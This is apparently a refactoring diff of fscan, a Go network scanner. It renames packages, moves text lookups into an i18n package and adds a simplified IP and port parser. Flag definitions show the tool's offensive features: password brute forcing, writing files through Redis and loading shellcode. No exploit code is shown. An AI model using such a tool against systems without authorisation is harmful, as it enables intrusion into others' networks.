flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", true, GetText("flag_show_progress"))
flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", true, i18n.GetText("flag_show_progress"))
var noProgress bool
flag.BoolVar(&noProgress, "np-bar", false, GetText("flag_no_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
flag.BoolVar(&noProgress, "np-bar", false, i18n.GetText("flag_no_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, i18n.GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, i18n.GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
var showHelp bool
flag.BoolVar(&showHelp, "help", false, GetText("flag_help"))
flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help"))
// 解析命令行参数
parseCommandLineArgs()
// 设置语言
SetLanguage(Language)
i18n.SetLanguage(Language)
// 处理进度条禁用逻辑
if noProgress {
@ -313,14 +314,14 @@ func preProcessLanguage() {
lang := os.Args[i+1]
if lang == "en" || lang == "zh" {
Language = lang
SetLanguage(lang)
i18n.SetLanguage(lang)
return
}
} else if strings.HasPrefix(arg, "-lang=") {
lang := strings.TrimPrefix(arg, "-lang=")
if lang == "en" || lang == "zh" {
Language = lang
SetLanguage(lang)
i18n.SetLanguage(lang)
return
}
}
@ -330,7 +331,7 @@ func preProcessLanguage() {
envLang := os.Getenv("FS_LANG")
if envLang == "en" || envLang == "zh" {
Language = envLang
SetLanguage(envLang)
i18n.SetLanguage(envLang)
}
}

View File

@ -1,4 +1,4 @@
package Common
package common
import (
"fmt"
@ -6,8 +6,9 @@ import (
"time"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/Common/logging"
"github.com/shadow1ng/fscan/Common/parsers"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/parsers"
)
// ParsedConfiguration 解析后的完整配置(兼容旧代码)
@ -114,12 +115,12 @@ func Parse(Info *HostInfo) error {
// 执行解析
result, err := parser.ParseAll(input)
if err != nil {
return fmt.Errorf(GetText("parse_error_config_failed", err))
return fmt.Errorf(i18n.GetText("parse_error_config_failed", err))
}
// 更新全局变量以保持兼容性
if err := updateGlobalVariables(result.Config, Info); err != nil {
return fmt.Errorf(GetText("parse_error_update_vars_failed", err))
return fmt.Errorf(i18n.GetText("parse_error_update_vars_failed", err))
}
// 报告警告
@ -143,14 +144,14 @@ type AllInputs struct {
// ParseAll 解析所有配置
func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input == nil {
return nil, fmt.Errorf(GetText("parse_error_empty_input"))
return nil, fmt.Errorf(i18n.GetText("parse_error_empty_input"))
}
p.mu.Lock()
defer p.mu.Unlock()
if !p.initialized {
return nil, fmt.Errorf(GetText("parse_error_parser_not_init"))
return nil, fmt.Errorf(i18n.GetText("parse_error_parser_not_init"))
}
startTime := time.Now()
@ -166,7 +167,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input.Credential != nil {
credResult, err := p.credentialParser.Parse(input.Credential, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(GetText("parse_error_credential_failed", err)))
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_credential_failed", err)))
} else {
result.Config.Credentials = credResult.Config.Credentials
allErrors = append(allErrors, credResult.Errors...)
@ -178,7 +179,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input.Target != nil {
targetResult, err := p.targetParser.Parse(input.Target, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(GetText("parse_error_target_failed", err)))
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_target_failed", err)))
} else {
result.Config.Targets = targetResult.Config.Targets
allErrors = append(allErrors, targetResult.Errors...)
@ -190,7 +191,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input.Network != nil {
networkResult, err := p.networkParser.Parse(input.Network, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(GetText("parse_error_network_failed", err)))
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_network_failed", err)))
} else {
result.Config.Network = networkResult.Config.Network
allErrors = append(allErrors, networkResult.Errors...)
@ -212,7 +213,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(GetText("parse_error_validation_failed", err)))
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_validation_failed", err)))
} else {
result.Config.Validation = validationResult.Config.Validation
allErrors = append(allErrors, validationResult.Errors...)
@ -367,63 +368,63 @@ func showParseSummary(config *parsers.ParsedConfig) {
if config.Targets != nil {
if len(config.Targets.Hosts) > 0 {
if len(config.Targets.Hosts) <= 5 {
LogBase(GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", ")))
LogBase(i18n.GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", ")))
} else {
LogBase(GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts)))
LogBase(i18n.GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts)))
}
}
if len(config.Targets.URLs) > 0 {
if len(config.Targets.URLs) <= 3 {
LogBase(GetText("target_urls_found", joinStrings(config.Targets.URLs, ", ")))
LogBase(i18n.GetText("target_urls_found", joinStrings(config.Targets.URLs, ", ")))
} else {
LogBase(GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs)))
LogBase(i18n.GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs)))
}
}
if len(config.Targets.Ports) > 0 {
if len(config.Targets.Ports) <= 20 {
LogBase(GetText("target_ports_found", joinInts(config.Targets.Ports, ", ")))
LogBase(i18n.GetText("target_ports_found", joinInts(config.Targets.Ports, ", ")))
} else {
LogBase(GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports)))
LogBase(i18n.GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports)))
}
}
if len(config.Targets.ExcludePorts) > 0 {
LogBase(GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", ")))
LogBase(i18n.GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", ")))
}
if config.Targets.LocalMode {
LogBase(GetText("target_local_mode"))
LogBase(i18n.GetText("target_local_mode"))
}
}
// 显示网络配置
if config.Network != nil {
if config.Network.HttpProxy != "" {
LogBase(GetText("network_http_proxy", config.Network.HttpProxy))
LogBase(i18n.GetText("network_http_proxy", config.Network.HttpProxy))
}
if config.Network.Socks5Proxy != "" {
LogBase(GetText("network_socks5_proxy", config.Network.Socks5Proxy))
LogBase(i18n.GetText("network_socks5_proxy", config.Network.Socks5Proxy))
}
if config.Network.Timeout > 0 {
LogBase(GetText("network_timeout", config.Network.Timeout))
LogBase(i18n.GetText("network_timeout", config.Network.Timeout))
}
if config.Network.WebTimeout > 0 {
LogBase(GetText("network_web_timeout", config.Network.WebTimeout))
LogBase(i18n.GetText("network_web_timeout", config.Network.WebTimeout))
}
}
// 显示凭据信息
if config.Credentials != nil {
if len(config.Credentials.Usernames) > 0 {
LogBase(GetText("credential_username_count", len(config.Credentials.Usernames)))
LogBase(i18n.GetText("credential_username_count", len(config.Credentials.Usernames)))
}
if len(config.Credentials.Passwords) > 0 {
LogBase(GetText("credential_password_count", len(config.Credentials.Passwords)))
LogBase(i18n.GetText("credential_password_count", len(config.Credentials.Passwords)))
}
if len(config.Credentials.HashValues) > 0 {
LogBase(GetText("credential_hash_count", len(config.Credentials.HashValues)))
LogBase(i18n.GetText("credential_hash_count", len(config.Credentials.HashValues)))
}
}
}

View File

@ -1,6 +1,6 @@
package Common
package common
import "github.com/shadow1ng/fscan/Common/Core"
import "github.com/shadow1ng/fscan/common/core"
/*
Ports.go - 端口常量向后兼容层
@ -10,6 +10,6 @@ Ports.go - 端口常量(向后兼容层)
// 向后兼容的端口常量 - 引用Core包中的定义
var (
WebPorts = Core.WebPorts // Web服务端口组
MainPorts = Core.MainPorts // 主要服务端口组
WebPorts = core.WebPorts // Web服务端口组
MainPorts = core.MainPorts // 主要服务端口组
)

View File

@ -1,10 +1,12 @@
package Common
package common
import (
"fmt"
"os"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
@ -227,7 +229,7 @@ func (pm *ProgressManager) showCompletionInfo() {
// 换行并显示完成信息
fmt.Print("\n")
completionMsg := GetText("progress_scan_completed")
completionMsg := i18n.GetText("progress_scan_completed")
if NoColor {
fmt.Printf("✓ %s %d/%d (耗时: %s)\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))

View File

@ -1,6 +1,6 @@
package Common
package common
import "github.com/shadow1ng/fscan/Common/Core"
import "github.com/shadow1ng/fscan/common/core"
/*
Types.go - 类型定义向后兼容层
@ -13,22 +13,22 @@ Types.go - 类型定义(向后兼容层)
// =============================================================================
// HostInfo 主机信息结构 - 引用Core包中的定义
type HostInfo = Core.HostInfo
type HostInfo = core.HostInfo
// ScanPlugin 扫描插件结构 - 引用Core包中的定义
type ScanPlugin = Core.ScanPlugin
type ScanPlugin = core.ScanPlugin
// =============================================================================
// 向后兼容的插件类型常量
// =============================================================================
const (
PluginTypeService = Core.PluginTypeService // 服务类型插件
PluginTypeWeb = Core.PluginTypeWeb // Web类型插件
PluginTypeLocal = Core.PluginTypeLocal // 本地类型插件
PluginTypeBrute = Core.PluginTypeBrute // 暴力破解插件
PluginTypePoc = Core.PluginTypePoc // POC验证插件
PluginTypeScan = Core.PluginTypeScan // 扫描探测插件
PluginTypeService = core.PluginTypeService // 服务类型插件
PluginTypeWeb = core.PluginTypeWeb // Web类型插件
PluginTypeLocal = core.PluginTypeLocal // 本地类型插件
PluginTypeBrute = core.PluginTypeBrute // 暴力破解插件
PluginTypePoc = core.PluginTypePoc // POC验证插件
PluginTypeScan = core.PluginTypeScan // 扫描探测插件
)
// =============================================================================
@ -37,16 +37,16 @@ const (
// RegisterPlugin 注册插件到全局管理器 - 保持向后兼容
func RegisterPlugin(name string, plugin ScanPlugin) {
if err := Core.RegisterPlugin(name, plugin); err != nil {
if err := core.RegisterPlugin(name, plugin); err != nil {
// 注册失败时记录错误,但不中断程序
LogError("Failed to register plugin " + name + ": " + err.Error())
}
}
// GetGlobalPluginManager 获取全局插件管理器
func GetGlobalPluginManager() *Core.PluginManager {
return Core.GetGlobalPluginManager()
func GetGlobalPluginManager() *core.PluginManager {
return core.GetGlobalPluginManager()
}
// 向后兼容的全局变量 - 引用Core包中的定义
var PluginManager = Core.LegacyPluginManager
var PluginManager = core.LegacyPluginManager

View File

@ -1,6 +1,6 @@
package Common
package common
import "github.com/shadow1ng/fscan/Common/Core"
import "github.com/shadow1ng/fscan/common/core"
/*
Variables.go - 全局变量向后兼容层
@ -15,38 +15,38 @@ Variables.go - 全局变量(向后兼容层)
// 核心扫描配置
var (
ScanMode = Core.ScanMode // 扫描模式
ThreadNum = Core.ThreadNum // 线程数
Timeout = Core.Timeout // 超时时间
DisablePing = Core.DisablePing // 禁用ping
LocalMode = Core.LocalMode // 本地模式
ScanMode = core.ScanMode // 扫描模式
ThreadNum = core.ThreadNum // 线程数
Timeout = core.Timeout // 超时时间
DisablePing = core.DisablePing // 禁用ping
LocalMode = core.LocalMode // 本地模式
)
// 基础认证配置
var (
Username = Core.Username // 用户名
Password = Core.Password // 密码
Userdict = Core.Userdict // 用户字典
Passwords = Core.Passwords // 密码列表
Username = core.Username // 用户名
Password = core.Password // 密码
Userdict = core.Userdict // 用户字典
Passwords = core.Passwords // 密码列表
)
// 网络配置
var (
HttpProxy = Core.HttpProxy // HTTP代理
Socks5Proxy = Core.Socks5Proxy // SOCKS5代理
HttpProxy = core.HttpProxy // HTTP代理
Socks5Proxy = core.Socks5Proxy // SOCKS5代理
)
// 显示控制
var (
NoColor = Core.NoColor // 禁用颜色
Language = Core.Language // 语言
LogLevel = Core.LogLevel // 日志级别
NoColor = core.NoColor // 禁用颜色
Language = core.Language // 语言
LogLevel = core.LogLevel // 日志级别
)
// 端口映射
var (
PortMap = Core.PortMap // 端口映射
DefaultMap = Core.DefaultMap // 默认映射
PortMap = core.PortMap // 端口映射
DefaultMap = core.DefaultMap // 默认映射
)
// 输出配置 (已在Bridge.go中定义此处不重复声明)
@ -59,34 +59,35 @@ var (
// 向后兼容的访问函数
// =============================================================================
// GetGlobalConfigManager 获取全局配置管理器
func GetGlobalConfigManager() *Core.ConfigManager {
return Core.GetGlobalConfigManager()
}
// GetGlobalConfigManager 获取全局配置管理器(已废弃)
// 注意ConfigManager 已被移除,此函数不再可用
// func GetGlobalConfigManager() *core.ConfigManager {
// return core.GetGlobalConfigManager()
// }
// InitGlobalConfig 初始化全局配置
func InitGlobalConfig() {
Core.InitGlobalConfig()
core.InitGlobalConfig()
}
// GetScanMode 获取扫描模式
func GetScanMode() string {
return Core.GetScanMode()
return core.GetScanMode()
}
// SetScanMode 设置扫描模式
func SetScanMode(mode string) {
Core.SetScanMode(mode)
core.SetScanMode(mode)
}
// GetThreadNum 获取线程数
func GetThreadNum() int {
return Core.GetThreadNum()
return core.GetThreadNum()
}
// SetThreadNum 设置线程数
func SetThreadNum(num int) {
Core.SetThreadNum(num)
core.SetThreadNum(num)
}
// =============================================================================

View File

@ -4,7 +4,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common/i18n"
"github.com/shadow1ng/fscan/common/i18n"
)
// ScanOptionsManager 扫描选项管理器

View File

@ -1,71 +0,0 @@
package Common
import "github.com/shadow1ng/fscan/Common/i18n"
/*
i18n.go - 国际化支持向后兼容层
此文件保持向后兼容实际国际化功能已迁移到Common/i18n包
建议新代码使用i18n.GetText()获取国际化文本
*/
// =============================================================================
// 向后兼容的语言常量
// =============================================================================
const (
LangZH = i18n.LangZH // 中文
LangEN = i18n.LangEN // 英文
)
// =============================================================================
// 向后兼容的全局函数
// =============================================================================
// GetText 获取国际化文本 - 引用i18n包的实现
func GetText(key string, args ...interface{}) string {
return i18n.GetText(key, args...)
}
// SetLanguage 设置语言 - 引用i18n包的实现
func SetLanguage(lang string) {
i18n.SetLanguage(lang)
}
// GetLanguage 获取当前语言 - 引用i18n包的实现
func GetLanguage() string {
return i18n.GetLanguage()
}
// AddMessage 添加消息 - 引用i18n包的实现
func AddMessage(key string, translations map[string]string) {
i18n.AddMessage(key, translations)
}
// AddMessages 批量添加消息 - 引用i18n包的实现
func AddMessages(messages map[string]map[string]string) {
i18n.AddMessages(messages)
}
// HasMessage 检查消息是否存在 - 引用i18n包的实现
func HasMessage(key string) bool {
return i18n.HasMessage(key)
}
// GetMessageCount 获取消息总数 - 引用i18n包的实现
func GetMessageCount() int {
return i18n.GetMessageCount()
}
// GetSupportedLanguages 获取支持的语言列表 - 引用i18n包的实现
func GetSupportedLanguages() []string {
return i18n.GetSupportedLanguages()
}
// =============================================================================
// 废弃的变量和函数 (保持向后兼容)
// =============================================================================
// coreMessages 已废弃消息定义已迁移到i18n包
// 保留空映射以防止编译错误
var coreMessages = map[string]map[string]string{}

View File

@ -1,31 +1,12 @@
package parsers
import (
"sort"
"strings"
)
/*
LegacyParser.go - 向后兼容解析器包装层
LegacyParser.go - 简化的向后兼容解析器
提供与原 ParseIP.go ParsePort.go 相同的函数签名
内部委托给现代化的 TargetParser 实现
这确保了现有代码无需修改即可使用新的解析器功能
现在直接使用简化的解析函数大幅减少代码复杂度
同时保持与现有代码的完全兼容性
*/
// 全局解析器实例(线程安全)
var (
globalTargetParser *TargetParser
globalFileReader *FileReader
)
// init 初始化全局解析器
func init() {
globalFileReader = NewFileReader(nil)
globalTargetParser = NewTargetParser(globalFileReader, DefaultTargetParserOptions())
}
// ParseIP 解析各种格式的IP地址兼容原函数签名
// 参数:
// - host: 主机地址可以是单个IP、IP范围、CIDR或常用网段简写
@ -36,46 +17,7 @@ func init() {
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
// 构建输入参数
input := &TargetInput{
Host: host,
HostsFile: filename,
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
input.ExcludeHosts = nohosts[0]
}
// 使用新的解析器
result, err := globalTargetParser.Parse(input, nil)
if err != nil {
return nil, err
}
// 检查是否有解析错误
if !result.Success && len(result.Errors) > 0 {
return nil, result.Errors[0]
}
// 返回解析的主机列表
hosts := result.Config.Targets.Hosts
// 合并主机端口组合中的主机(为了兼容性)
for _, hp := range result.Config.Targets.HostPorts {
if strings.Contains(hp, ":") {
parts := strings.Split(hp, ":")
if len(parts) >= 2 {
hosts = append(hosts, parts[0])
}
}
}
// 去重并排序
hosts = removeDuplicateStrings(hosts)
sort.Strings(hosts)
return hosts, nil
return SimpleParseIP(host, filename, nohosts...)
}
// ParsePort 解析端口配置字符串为端口号列表(兼容原函数签名)
@ -85,82 +27,15 @@ func ParseIP(host string, filename string, nohosts ...string) ([]string, error)
// 返回:
// - []int: 解析后的端口号列表
func ParsePort(ports string) []int {
if ports == "" {
return nil
}
// 构建输入参数
input := &TargetInput{
Ports: ports,
}
// 使用新的解析器
result, err := globalTargetParser.Parse(input, nil)
if err != nil || !result.Success {
// 如果解析失败,返回空列表(保持原函数行为)
return nil
}
// 返回解析的端口列表
portList := result.Config.Targets.Ports
// 去重并排序
portList = removeDuplicatePorts(portList)
sort.Ints(portList)
return portList
return SimpleParsePort(ports)
}
// 核心辅助函数
// removeDuplicateStrings 去重字符串切片
func removeDuplicateStrings(slice []string) []string {
seen := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去重端口切片
func removeDuplicatePorts(slice []int) []int {
seen := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// ParsePortsFromString 解析端口字符串为端口列表(兼容函数)
// 这个函数提供与Common/Ports.go中ParsePortsFromString相同的功能
// ParsePortsFromString 从字符串解析端口列表(兼容原函数签名)
// 参数:
// - portsStr: 端口字符串,支持单个端口、端口范围、端口组
//
// 返回:
// - []int: 解析后的端口号列表,已去重并排序
func ParsePortsFromString(portsStr string) []int {
if portsStr == "" {
return []int{}
}
// 使用全局解析器解析端口
portList, err := globalTargetParser.parsePortList(portsStr)
if err != nil {
// 如果解析失败,返回空列表(保持原函数行为)
return []int{}
}
// 去重并排序
portList = removeDuplicatePorts(portList)
sort.Ints(portList)
return portList
return SimpleParsePortsFromString(portsStr)
}

View File

@ -9,7 +9,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common/i18n"
"github.com/shadow1ng/fscan/common/i18n"
)
// NetworkParser 网络配置解析器

380
Common/parsers/Simple.go Normal file
View File

@ -0,0 +1,380 @@
package parsers
import (
"bufio"
"fmt"
"net"
"os"
"sort"
"strconv"
"strings"
)
/*
Simple.go - 简化版本的解析器函数
这个文件提供了简化但功能完整的解析函数用于替代复杂的解析器架构
保持与现有代码的接口兼容性但大幅简化实现逻辑
*/
// =============================================================================
// 简化的IP/主机解析函数
// =============================================================================
// SimpleParseIP 简化版本的IP解析函数
// 保持与 ParseIP 的接口兼容性,但使用更简单的实现
func SimpleParseIP(host string, filename string, nohosts ...string) ([]string, error) {
var hosts []string
// 如果提供了文件名,从文件读取主机列表
if filename != "" {
fileHosts, fileErr := readHostsFromFile(filename)
if fileErr != nil {
return nil, fmt.Errorf("读取主机文件失败: %v", fileErr)
}
hosts = append(hosts, fileHosts...)
}
// 解析主机参数
if host != "" {
hostList, hostErr := parseHostString(host)
if hostErr != nil {
return nil, fmt.Errorf("解析主机失败: %v", hostErr)
}
hosts = append(hosts, hostList...)
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeList, excludeErr := parseHostString(nohosts[0])
if excludeErr != nil {
return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr)
}
hosts = excludeHosts(hosts, excludeList)
}
// 去重和排序
hosts = removeDuplicates(hosts)
sort.Strings(hosts)
if len(hosts) == 0 {
return nil, fmt.Errorf("没有找到有效的主机")
}
return hosts, nil
}
// =============================================================================
// 简化的端口解析函数
// =============================================================================
// SimpleParsePort 简化版本的端口解析函数
// 保持与 ParsePort 的接口兼容性
func SimpleParsePort(ports string) []int {
if ports == "" {
return nil
}
var result []int
// 处理预定义端口组
ports = expandPortGroups(ports)
// 按逗号分割
for _, portStr := range strings.Split(ports, ",") {
portStr = strings.TrimSpace(portStr)
if portStr == "" {
continue
}
// 处理端口范围 (如 1-100)
if strings.Contains(portStr, "-") {
rangePorts := parsePortRange(portStr)
result = append(result, rangePorts...)
} else {
// 单个端口
if port, err := strconv.Atoi(portStr); err == nil {
if port >= 1 && port <= 65535 {
result = append(result, port)
}
}
}
}
// 去重和排序
result = removeDuplicatePorts(result)
sort.Ints(result)
return result
}
// SimpleParsePortsFromString 简化版本的端口字符串解析
// 保持与 ParsePortsFromString 的接口兼容性
func SimpleParsePortsFromString(portsStr string) []int {
return SimpleParsePort(portsStr)
}
// =============================================================================
// 辅助函数
// =============================================================================
// readHostsFromFile 从文件读取主机列表
func readHostsFromFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var hosts []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" && !strings.HasPrefix(line, "#") {
hosts = append(hosts, line)
}
}
return hosts, scanner.Err()
}
// parseHostString 解析主机字符串
func parseHostString(host string) ([]string, error) {
var hosts []string
// 按逗号分割多个主机
for _, h := range strings.Split(host, ",") {
h = strings.TrimSpace(h)
if h == "" {
continue
}
// 检查是否为CIDR格式
if strings.Contains(h, "/") {
cidrHosts, err := parseCIDR(h)
if err != nil {
return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err)
}
hosts = append(hosts, cidrHosts...)
} else if strings.Contains(h, "-") && !strings.Contains(h, ":") {
// IP范围格式 (如 192.168.1.1-10)
rangeHosts, err := parseIPRange(h)
if err != nil {
return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err)
}
hosts = append(hosts, rangeHosts...)
} else {
// 单个主机
hosts = append(hosts, h)
}
}
return hosts, nil
}
// parseCIDR 解析CIDR格式的网段
func parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var hosts []string
for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) {
hosts = append(hosts, ip.String())
// 限制最大主机数量,防止内存溢出
if len(hosts) > 10000 {
break
}
}
// 移除网络地址和广播地址
if len(hosts) > 2 {
hosts = hosts[1 : len(hosts)-1]
}
return hosts, nil
}
// parseIPRange 解析IP范围
func parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
}
startIP := strings.TrimSpace(parts[0])
endPart := strings.TrimSpace(parts[1])
// 检查是否为短格式 (如 192.168.1.1-10)
if !strings.Contains(endPart, ".") {
return parseShortIPRange(startIP, endPart)
}
// 完整IP范围
return parseFullIPRange(startIP, endPart)
}
// parseShortIPRange 解析短格式IP范围
func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP: %s", startIPStr)
}
endNum, err := strconv.Atoi(endSuffix)
if err != nil {
return nil, fmt.Errorf("无效的结束数字: %s", endSuffix)
}
var hosts []string
startIPParts := strings.Split(startIPStr, ".")
if len(startIPParts) != 4 {
return nil, fmt.Errorf("无效的IP格式: %s", startIPStr)
}
baseIP := strings.Join(startIPParts[:3], ".")
startNum, _ := strconv.Atoi(startIPParts[3])
for i := startNum; i <= endNum && i <= 254; i++ {
hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i))
}
return hosts, nil
}
// parseFullIPRange 解析完整IP范围
func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
endIP := net.ParseIP(endIPStr)
if startIP == nil || endIP == nil {
return nil, fmt.Errorf("无效的IP地址")
}
var hosts []string
for ip := make(net.IP, len(startIP)); ; nextIP(ip) {
copy(ip, startIP)
hosts = append(hosts, ip.String())
if ip.Equal(endIP) {
break
}
// 限制最大主机数量
if len(hosts) > 10000 {
break
}
nextIP(startIP)
}
return hosts, nil
}
// parsePortRange 解析端口范围
func parsePortRange(rangeStr string) []int {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil
}
start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
if err1 != nil || err2 != nil || start < 1 || end > 65535 || start > end {
return nil
}
var ports []int
for i := start; i <= end; i++ {
ports = append(ports, i)
// 限制端口范围大小
if len(ports) > 5000 {
break
}
}
return ports
}
// expandPortGroups 展开端口组
func expandPortGroups(ports string) string {
// 定义端口组
portGroups := map[string]string{
"web": "80,81,82,83,84,85,86,87,88,89,90,443,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8443,9000,9001,9002,9080,9090",
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
"database": "1433,1521,3306,5432,6379,11211,27017",
"common": "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986",
}
result := ports
for group, portList := range portGroups {
result = strings.ReplaceAll(result, group, portList)
}
return result
}
// excludeHosts 排除指定的主机
func excludeHosts(hosts, excludeList []string) []string {
if len(excludeList) == 0 {
return hosts
}
excludeMap := make(map[string]struct{})
for _, exclude := range excludeList {
excludeMap[exclude] = struct{}{}
}
var result []string
for _, host := range hosts {
if _, found := excludeMap[host]; !found {
result = append(result, host)
}
}
return result
}
// removeDuplicates 去除字符串重复项
func removeDuplicates(slice []string) []string {
keys := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去除端口重复项
func removeDuplicatePorts(slice []int) []int {
keys := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// nextIP 计算下一个IP地址
func nextIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}

View File

@ -1,9 +1,10 @@
package Core
package core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"golang.org/x/net/icmp"
"net"
"os/exec"
@ -67,20 +68,20 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
protocol = "PING"
}
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.HOST,
Type: common.HOST,
Target: ip,
Status: "alive",
Details: map[string]interface{}{
"protocol": protocol,
},
}
Common.SaveResult(result)
common.SaveResult(result)
// 保留原有的控制台输出
if !Common.Silent {
Common.LogInfo(Common.GetText("target_alive", ip, protocol))
if !common.Silent {
